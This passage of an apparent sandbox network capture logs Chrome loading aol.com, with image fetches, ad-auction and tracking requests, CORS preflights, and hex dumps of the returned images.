21:10:22 GMT Server: ECAcc (lhd/35A8) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1875,owidth=50,oheight=50,obytes=1779,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kjyo7100131-IAD X-Timer: S1711259957.080248,VS0,VE76 Content-Length: 1875 Connection: close
2024-05-23 22:34:53 UTC	1875	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ed e5 ff ff ff ff ff ff ff ff ff ff d0 bb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d2 be ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c0 a4 ff c7 ae ff f7 f3 ff ff ff ff ff ff ff ff ff ff d0 bb ff ff ff ff e1 d4 ff ff ff ff ff ff ff f8 f5 ff ff ff ff c6 ac ff ca b2 ff ff ff ff ff ff ff e8 df ff ff ff ff b5 94 ff ff ff ff ff ff ff f7 f3 ff eb e2 ff ff ff ff c9 b0 ff ff ff ff f9 f6 ff fc fa ff ff ff ff cd b7 ff f4 ef ff f4 ef ff ee e7 ff db cb ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.6	49936	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	935	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3WQUCMLenaDM.cRUsgzWzQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20191111%2F500x500%2Fcardinals_wbg.png&client=76f99bdb8f78cd44cc0b&signature=67a6d82bcceebe88bd4b4883a6ad9b8de11e7f9a HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500383 Cache-Control: public, max-age=2592000 Cache-Tag: 232026116361953768170210132161029562638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100170-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 232026116361953768170210132161029562638,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "1263ddcc7dacae9e9e9e97e9b719a347" Expiration: expiry-date="Mon, 02 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 05 Mar 2024 18:09:12 GMT Server: ECAcc (lhd/35A6) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1869,owidth=50,oheight=50,obytes=1875,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21948-LGA X-Timer: S1711411311.810132,VS0,VE58 Content-Length: 1869 Connection: close
2024-05-23 22:34:53 UTC	1869	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd f6 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.6	49938	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	935	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F163pPLOqMX8w.fiHFyQ0Gg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20220425%2F500x500%2Fguardians_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2d40aedb20b7b30d4fd350ff1c037f44f154fa19 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500371 Cache-Control: public, max-age=2592000 Cache-Tag: 249843997881170543559607760696480906098,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000117-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 249843997881170543559607760696480906098,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "55cef085aa84ffdde6771d571e0a541f" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT Server: ECAcc (lhd/35EB) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1639,owidth=50,oheight=50,obytes=1491,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000043-IAD X-Timer: S1711411322.467510,VS0,VE2 Content-Length: 1639 Connection: close
2024-05-23 22:34:53 UTC	1639	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 d3 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.6	49937	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:52 UTC	932	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FRJqdsmvPI2DpLTYPUshLNg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fangels_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6d0bf376e1ce270abc491aed69fa3726a3f97fad HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	1125	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500371 Cache-Control: public, max-age=2592000 Cache-Tag: 384353217125979979751880061833523536875,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21941-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:53 GMT Edge-Cache-Tag: 384353217125979979751880061833523536875,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "7e2aa38b0ef33de2d3305680f77b2c37" Expiration: expiry-date="Mon, 02 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Tue, 05 Mar 2024 19:53:12 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1897,owidth=50,oheight=50,obytes=2495,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21941-LGA X-Timer: S1711411322.462418,VS0,VE2 Content-Length: 1897 Connection: close
2024-05-23 22:34:53 UTC	1897	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fa 50 4c 54 45 47 70 4c ff ff ff ff ff ff ee f2 f5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f5 f7 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 fa fc ff ff ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fc fd ff ff ff cb d5 e0 f4 f6 f9 e5 eb f0 ff ff ff 04 5b a3 ff ff ff ff ff ff ff ff ff f8 fa fb ff ff ff 04 5b a2 04 5b a3 04 5b a3 fc fd fd ff ff ff ff ff ff ed f1 f4 04 5b a3 04 5b a3 f7 f9 fa ff ff ff f1 f4 f6 eb ef f3 bc c9 d6 ef f2 f5 97 ac c0 b0 bf ce 04 5b a3 04 5b a3 f5 Data Ascii: PNGIHDR22)xPLTEGpL[[[[[[[[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.6	49922	3.78.168.176	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	691	OUT	POST /header/auction?lib=prebid&v=8.37.0&referrer=https%3A%2F%2Fwww.aol.com%2F&tmax=2000&gdpr=false&us_privacy=1YNN HTTP/1.1 Host: tlx.3lift.com Connection: keep-alive Content-Length: 2017 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	2017	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 30 2c 22 74 61 67 69 64 22 3a 22 79 61 68 6f 6f 5f 61 6f 6c 5f 6d 61 69 6c 5f 33 30 30 78 36 30 30 5f 70 62 22 2c 22 66 6c 6f 6f 72 22 3a 31 2e 34 31 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 5d 7d 2c 22 66 70 64 22 3a 7b 22 63 6f 6e 74 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 6e 75 6c 6c 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f 61 6f 6c 5f 68 70 5f 64 74 5f 61 73 5f 74 6f 70 5f 72 69 67 68 74 5f 63 22 7d 7d 2c 22 64 61 74 61 22 3a 7b 7d 7d 7d 2c 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 6e 75 6c 6c 2c 22 Data Ascii: {"imp":[{"id":0,"tagid":"yahoo_aol_mail_300x600_pb","floor":1.41,"banner":{"format":[{"w":300,"h":600}]},"fpd":{"context":{"prebid":{"passthrough":null,"storedrequest":{"id":"us_aol_hp_dt_as_top_right_c"}},"data":{}}},"ext":{"prebid":{"passthrough":null,"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.6	49934	44.219.45.70	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	755	OUT	GET /j?dtstmp=1716503691207&did=did-004f&se=e30&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&tv=8.37.0&pu=https%3A%2F%2Fwww.aol.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&gpp_s=DBAA&gpp_as=-1&cd=.aol.com HTTP/1.1 Host: rp.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	600	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Connection: close set-cookie: lidid=fb1bd284-4b42-43cd-aa62-ef2fac9f5c13; Max-Age=63072000; Domain=.liadm.com; Path=/; Secure; SameSite=None location: /j?se=e30&cd=.aol.com&dtstmp=1716503691207&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.aol.com%2F&gpp_as=-1&us_privacy=1YNN&duid=b71ecbccbf34--01hyksffe3mmf10za80xj3k23t&gdpr=0&n3pc=true&gpp_s=DBAA access-control-expose-headers: * access-control-allow-origin: https://www.aol.com access-control-allow-methods: GET access-control-allow-credentials: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.6	49925	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	542	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	341	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-openrtb-version,Content-Type Allow: OPTIONS,POST Access-Control-Allow-Methods: OPTIONS,POST Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://www.aol.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.6	49924	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	542	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	341	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-openrtb-version,Content-Type Allow: OPTIONS,POST Access-Control-Allow-Methods: OPTIONS,POST Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://www.aol.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.6	49927	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	542	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	341	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-openrtb-version,Content-Type Allow: OPTIONS,POST Access-Control-Allow-Methods: OPTIONS,POST Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://www.aol.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.6	49926	34.250.204.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	542	OUT	OPTIONS /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-openrtb-version Origin: https://www.aol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	341	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:34:53 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: x-openrtb-version,Content-Type Allow: OPTIONS,POST Access-Control-Allow-Methods: OPTIONS,POST Access-Control-Max-Age: 3600 Access-Control-Allow-Origin: https://www.aol.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.6	49933	3.248.168.119	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	1967	OUT	GET /exchange/prebid?pbav=8.37.0&p=%5B%7B%22placement_id%22%3A%22MON_top_right_0%22%2C%22callback_id%22%3A%22328371703799539%22%2C%22sizes%22%3A%5B%5B300%2C600%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A1.41%7D%2C%7B%22placement_id%22%3A%22LREC_top_right_1%22%2C%22callback_id%22%3A%2233c28b52a09eff9%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.67%7D%2C%7B%22placement_id%22%3A%22LREC_top_right_2%22%2C%22callback_id%22%3A%2234139ae8a4c1d5f%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.43%7D%2C%7B%22placement_id%22%3A%22mid_center%22%2C%22callback_id%22%3A%22358e47f8beac546%22%2C%22sizes%22%3A%5B%5B970%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444189092684032%22%2C%22bidFloor%22%3A0.93%7D%5D&page_url=https%3A%2F%2Fwww.aol.com%2F&bust=1716503691074&dnt=false&description=Discover%20the%20latest%20breaking%20news%20in%20the%20U.S.%20and%20aroun [TRUNCATED] Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.6	49945	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:53 UTC	396	OUT	GET /aa/aol/homepage/stickyFooter/adfree/AdFree_SayGoodbyeV2_1x.jpg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:53 UTC	805	IN	HTTP/1.1 200 OK x-amz-id-2: efx5kxtRNB02QytdpRChStI/nG8z0I92jzvy/vR0IKUQJ5peyTrVP/gHj/Fpkt7xUaWYJ8DXW9I= x-amz-request-id: Y4434ZTGTFQNNST1 Date: Thu, 23 May 2024 22:21:51 GMT Last-Modified: Mon, 11 Sep 2023 19:32:23 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 x-amz-version-id: Ku5dtK7t_rO0fjr.MzhvSNwYCSW9LhxS Accept-Ranges: bytes Content-Type: image/jpeg Server: ATS Content-Length: 12180 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "74f7c49c7421783a21f05158e9de7cd7" Age: 783 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:53 UTC	1300	IN	Data Raw: ff d8 ff ee 00 21 41 64 6f 62 65 00 64 80 00 00 00 01 03 00 10 03 02 03 06 00 00 00 00 00 00 00 00 00 00 00 00 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c2 00 11 08 00 64 03 41 03 01 22 00 02 11 01 03 11 01 ff c4 00 e7 00 01 00 01 05 01 01 00 00 00 00 00 00 00 00 00 00 00 06 03 04 05 07 08 02 01 01 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 10 00 01 04 02 01 03 02 04 05 04 Data Ascii: !AdobeddA"
2024-05-23 22:34:53 UTC	907	IN	Data Raw: 39 54 75 53 95 47 55 39 54 75 53 95 47 55 39 54 75 53 95 47 55 39 54 75 53 95 47 55 39 54 75 53 95 47 55 39 54 75 53 95 47 55 39 54 7f ff da 00 08 01 02 00 01 05 00 fc b5 a4 2f 7a e9 af 3a 6b ce 9a f3 a6 bc e9 af 3a 6b ce 9a f3 a6 bc e9 af 3a 6b ce 9a fe 95 0f fb 7c 4a d2 af 97 4a d6 fe 57 3f 9f d2 21 ff 00 6f 89 88 e2 51 ed 57 bd fb 67 77 bd 47 77 f7 3a c3 cb 71 31 9c d6 d6 c3 8a 5f b5 77 7a 65 0a 4a 31 cf e7 f4 88 e4 59 6d ae 55 8c e5 58 ce 55 8c e5 58 ce 55 8c e5 58 ce 55 8c e5 58 ce 55 8c e5 58 ce 55 8c 5e ff 00 55 7e 6d ff da 00 08 01 03 00 01 05 00 fc b5 b5 a7 59 d4 46 75 11 9d 44 67 51 19 d4 46 75 11 9d 44 67 51 19 d4 46 75 11 9d 44 7a 5f a7 d0 25 ff 00 5f 14 95 27 e5 de b7 af 95 bf e1 f4 89 7f d7 cd ca 6d 4b f7 28 d6 bd c3 5a d7 5d af da d3 cd 25 Data Ascii: 9TuSGU9TuSGU9TuSGU9TuSGU9TuSGU9TuSGU9T/z:k:k:k\|JJW?!oQWgwGw:q1_wzeJ1YmUXUXUXUXUXU^U~mYFuDgQFuDgQFuDz_%_'mK(Z]%
